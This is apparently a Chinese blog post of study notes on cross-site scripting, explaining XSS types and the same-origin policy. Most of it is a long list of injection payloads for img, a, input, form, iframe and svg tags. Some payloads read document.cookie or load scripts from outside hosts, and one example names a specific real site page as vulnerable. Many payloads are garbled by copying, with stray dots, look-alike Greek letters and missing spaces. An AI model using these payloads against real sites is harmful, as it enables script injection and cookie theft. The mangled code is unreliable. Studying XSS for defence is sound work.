今天学习一下xss注入

1.XSS是什么

XSS注入漏洞又称为"跨站脚本攻击(Cross Site Scripting)",为了不和层叠样式表(Cascading Style Sheets,CSS)混淆,所以将跨站脚本攻击缩写为XSS。xss本质上是黑客通过对网页的HTML注入,篡改了原本服务器发给客户端的数据包,在其中插入了恶意的Script代码插入到网页中,当正常用户浏览该页面时,被嵌入的恶意Script代码就会被执行,从而达到恶意攻击正常用户的目的。

2.XSS分类

1.反射性XSS

反射型xss的意思是说,攻击者将构造好的payload注入,提交信息给服务器之后再次返回给浏览器端时,并被浏览器误解析执行,以更改当前网页上的某些信息(如链接),或者使浏览器执行某些脚本。所以黑客往往需要诱使用户“点击”恶意链接才能攻击成功。因此反射型xss也被称之为非持久性xss。

2.存储型XSS

存储型xss是指像留言板、用户名称等一些会存储在服务器端的信息,当攻击者在存在xss漏洞的留言板处进行注入之后,任何浏览器端加载该信息的时候都会将其中的恶意代码解析,进而触发xss攻击。该方法甚至可以在管理员审核留言时触发,进而造成管理员敏感信息的泄露。因为其存储在服务器端,因此造成的危险程度、攻击范围比反射型更大更广。

3.DOM型XSS

DOM型xss是基于html的dom文档来说的,攻击者通过注入JavaScript的脚本,利用相应的函数修改网页的DOM结构,进而修改网页的某些信息,本质上也是一种反射性xss,后来便单独分成了一类。

简单的了解这些之后来看看什么是跨域 什么是同源策略

1.同源策略

同源策略(Same origin policy)是一种约定,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,则浏览器的正常功能可能都会受到影响。可以说是web构建在同源策略基础之上的,浏览器只是针对同源策略的一种实现。

同源策略是一个重要的安全策略,它用于限制一个origin的文档或它加载的脚本如何能与另一个源的资源进行交互。能够减少恶意文档,减少可能被攻击媒介。 如果两个URL的协议、域名、端口号都相同,就称这两个URL同源。

看看一个域名地址的组成:

浏览器默认两个不同的源之间是可以互相访问资源和操作DOM的。两个不同的源之间若是想要访问资源或者操作DOM,那么会有一套基础的安全策略的制约,我们把这称为同源策略。它的存在可以保护用户隐私信息,防止身份伪造。

 Origin

Web内容的源用于访问它的URL的协议(方案)、主机(域名)、和端口号。只有当协议、主机、域名都匹配时,两个对象才具有相同的起源,即Origin相同。

(如果把html看做是一个文档,那么端口号是其存放位置的根目录,主机是其上级目录,协议是其上上级目录,同源策略就可以理解为同一根目录下的文件才可以访问、操作)

 

同源策略限制内容有:

Cookie、LocalStorage、IndexedDB 等存储性内容
DOM 节点
AJAX 请求发送后,结果被浏览器拦截了

但是有三个标签是允许跨域加载资源:

<img src='xxx'>

<link href='xxx'>

<script src='xxx'>

跨域并不是请求发不出去,请求能发出去,服务端能收到请求并正常返回结果,只是结果被浏览器拦截了。

跨域

  • 广义:指一个域下的文档或脚本试图去请求另一个域下的资源。
  • 狭义:浏览器不能执行其他网站的脚本,是由浏览器同源策略限制的一类请求场景,从一个域名的网页去请求另一个域名的资源时,域名、端口、协议任一不同,都是跨域。

例如:a页面想获取b页面资源,如果a、b页面的协议、域名、端口、子域名不同,所进行的访问行动都是跨域的,而浏览器为了安全问题一般都限制了跨域访问,也就是不允许跨域请求资源。注意:跨域限制访问,其实是浏览器的限制

当然跨域有很多种解决办法 这里不一一详细描述了 推荐一篇大佬的博客

最常见的六种跨域解决方案_跨域问题怎么解决_China_YF的博客-CSDN博客

xss注入攻击的本质就是代码注入

特点:XSS主要基于JavaScript完成恶意的攻击行为,由于JS可以非常灵活地操作html、css和浏览器,使得跨站脚本攻击的“想象”空间特别大。

攻击对象:被攻击者的浏览器。用户最简单的动作就是使用浏览器上网,并且浏览器中有javascript解释器,可以解析javascript,然后浏览器不会判断代码是否恶意,也就是说xss的对象是用户的浏览器。

XSS攻击的主要途径

第一种:对普通的用户输入,页面原样内容输出。

打开http://go.ent.163.com/goproducttest/test.jsp(限公司IP),输 入:<script>alert(‘xss’)</script>, JS脚本顺利执行。当攻击者找到这种方法后,就可以传播这种链接格式的链接 (http://go.ent.163.com/goproducttest/test.jsp?key=JSCODE)如:http: //go.ent.163.com/goproducttest/test.jsp?key=<script>alert(‘xss’)& lt;/script>,并对JSCODE做适当伪装,如:
http://go.ent.163.com/goproducttest/test.jsp?key=%3c%73%63%72%69%70 %74%3e%61%6c%65%72%74%28%27%78%73%73%27%29%3c%2f%73%63%72%69%70%74%3e,当其 它用户当点此链接的时候,JS就运行了,造成的后果会很严重,如跳去一个有木马的页面、取得登陆用户的COOKIE等。

第二种:在代码区里有用户输入的内容

原则就是,代码区中,绝对不应含有用户输入的东西。

第三种:允许用户输入HTML标签的页面。

用户可以提交一些自定义的HTML代码,这种情况是最危险的。因为,IE浏览器默认采用的是UNICODE编码,HTML编码可以用&#ASCII方式来写,又可以使用”/”连接16进制字符串来写,使得过滤变得异常复杂,如下面的四个例子,都可以在IE中运行。
1,直接使用JS脚本。
<img src=”javascript:alert(‘xss’)” />
2,对JS脚本进行转码。
<img src=”javascript:alert(‘xss’)” />
3,利用标签的触发条件插入代码并进行转码。
<img οnerrοr=”alert(‘xss’)” />
4,使用16进制来写(可以在傲游中运行)
<img STYLE=”background-image: /75/72/6c/28/6a/61/76/61/73/63/72/69/70/74/3a/61/6c/65/72/74/28/27/58/53/53/27/29/29″>
以上写法等于<img STYLE=”background-image: url(javascript:alert(‘XSS’))”>

常见payload:

    <script>alert('hello,gaga!');</script> //经典语句,哈哈!
    >"'><img src="javascript.:alert('XSS')">
    >"'><script>alert('XSS')</script>
    <table background='javascript.:alert(([code])'></table>
    <object type=text/html data='javascript.:alert(([code]);'></object>
    "+alert('XSS')+"
    '><script>alert(document.cookie)</script>
    ='><script>alert(document.cookie)</script>
    <script>alert(document.cookie)</script>
    <script>alert(vulnerable)</script>
    <s&#99;ript>alert('XSS')</script>
    <img src="javas&#99;ript:alert('XSS')">
    %0a%0a<script>alert(\"Vulnerable\")</script>.jsp
    %3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
    %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
    %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
    <script>alert('Vulnerable')</script>
    a.jsp/<script>alert('Vulnerable')</script>
    "><script>alert('Vulnerable')</script>
    <IMG SRC="javascript.:alert('XSS');">
    <IMG src="/javascript.:alert"('XSS')>
    <IMG src="/JaVaScRiPt.:alert"('XSS')>
    <IMG src="/JaVaScRiPt.:alert"(&quot;XSS&quot;)>
    <IMG SRC="jav&#x09;ascript.:alert('XSS');">
    <IMG SRC="jav&#x0A;ascript.:alert('XSS');">
    <IMG SRC="jav&#x0D;ascript.:alert('XSS');">
    "<IMG src="/java"\0script.:alert(\"XSS\")>";'>out
    <IMG SRC=" javascript.:alert('XSS');">
    <SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
    <BODY BACKGROUND="javascript.:alert('XSS')">
    <BODY ONLOAD=alert('XSS')>
    <IMG DYNSRC="javascript.:alert('XSS')">
    <IMG LOWSRC="javascript.:alert('XSS')">
    <BGSOUND SRC="javascript.:alert('XSS');">
    <br size="&{alert('XSS')}">
    <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
    <LINK REL="stylesheet"HREF="javascript.:alert('XSS');">
    <IMG SRC='vbscript.:msgbox("XSS")'>
    <META. HTTP-EQUIV="refresh"CONTENT="0;url=javascript.:alert('XSS');">
    <IFRAME. src="/javascript.:alert"('XSS')></IFRAME>
    <FRAMESET><FRAME. src="/javascript.:alert"('XSS')></FRAME></FRAMESET>
    <TABLE BACKGROUND="javascript.:alert('XSS')">
    <DIV STYLE="background-image: url(javascript.:alert('XSS'))">
    <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html&#39;);">
    <DIV STYLE="width: expression(alert('XSS'));">
    <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
    <IMG STYLE='xss:expre\ssion(alert("XSS"))'>
    <STYLE. TYPE="text/javascript">alert('XSS');</STYLE>
    <STYLE. TYPE="text/css">.XSS{background-image:url("javascript.:alert('XSS')");}</STYLE><A CLASS=XSS></A>
    <STYLE. type="text/css">BODY{background:url("javascript.:alert('XSS')")}</STYLE>
    <BASE HREF="javascript.:alert('XSS');//">
    getURL("javascript.:alert('XSS')")
    a="get";b="URL";c="javascript.:";d="alert('XSS');";eval(a+b+c+d);
    <XML SRC="javascript.:alert('XSS');">
    "> <BODY NLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
    <SCRIPT. SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
    <IMG SRC="javascript.:alert('XSS')"
    <SCRIPT. a=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
    <SCRIPT.=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
    <SCRIPT. a=">"''SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
    <SCRIPT."a='>'"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
    <SCRIPT>document.write("<SCRI");</SCRIPT>PTSRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
    <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>

常见标签

<img>标签

利用方式1

<imgsrc=javascript:alert("xss")>

<IMGSRC=javascript:alert(String.formCharCode(88,83,83))>

<imgscr="URL"style='Xss:expression(alert(/xss));'

    imgSTYLE=“background-image:url(javascript:alert(‘XSS’))”

XSS利用方式2

<imgsrc="x"οnerrοr=alert(1)>

<imgsrc="1"οnerrοr=eval("alert('xss')")>

XSS利用方式3

<imgsrc=1οnmοuseοver=alert('xss')>

<a>标签

标准格式

<ahref="https://www.baidu.com">baidu</a>

XSS利用方式1

    <ahref="javascript:alert('xss')">aa</a>

    <ahref=javascript:eval(alert('xss'))>aa</a>

    <ahref="javascript:aaa"οnmοuseοver="alert(/xss/)">aa</a>

XSS利用方式2

    <script>alert('xss')</script>

利用方式3

<ahref=""οnclick=eval(alert('xss'))>aa</a>

利用方式4

<ahref=kycg.asp?ttt=1000οnmοuseοver=prompt('xss')y=2016>aa</a>

input标签

标准格式

<inputname="name"value="">

利用方式1

<inputvalue=""οnclick=alert('xss')type="text">

利用方式2

<inputname="name"value=""οnmοuseοver=prompt('xss')bad="">

利用方式4

<inputname="name"value=""><script>alert('xss')</script>

<form>标签

XSS利用方式1

    <formaction=javascript:alert('xss')method="get">

    <formaction=javascript:alert('xss')>

XSS利用方式2

    <formmethod=postaction=aa.asp?οnmοuseοver=prompt('xss')>

    <formmethod=postaction=aa.asp?οnmοuseοver=alert('xss')>

    <formaction=1οnmοuseοver=alert('xss)>

XSS利用方式3

    <formmethod=postaction="data:text/html;base64,<script>alert('xss')</script>">

    <formmethod=postaction="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

<iframe>标签

XSS利用方式1

<iframesrc=javascript:alert('xss');height=5width=1000/><iframe>

XSS利用方式2

<iframesrc="data:text/html,&lt;script&gt;alert('xss')&lt;/script&gt;"></iframe>

<iframesrc="data:text/html;base64,<script>alert('xss')</script>">

<iframesrc="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

XSS利用方式3

<iframesrc="aaa"οnmοuseοver=alert('xss')/><iframe>

XSS利用方式3

<iframesrc="javascript&colon;prompt&lpar;xss&rpar;"></iframe>

svg<>标签

<svgοnlοad=alert(1)>

这里只简单给出payload以及标签 粗略的了解xss漏洞

接下来会详细的写xss的三种类型

Logo

旨在为数千万中国开发者提供一个无缝且高效的云端环境,以支持学习、使用和贡献开源项目。

更多推荐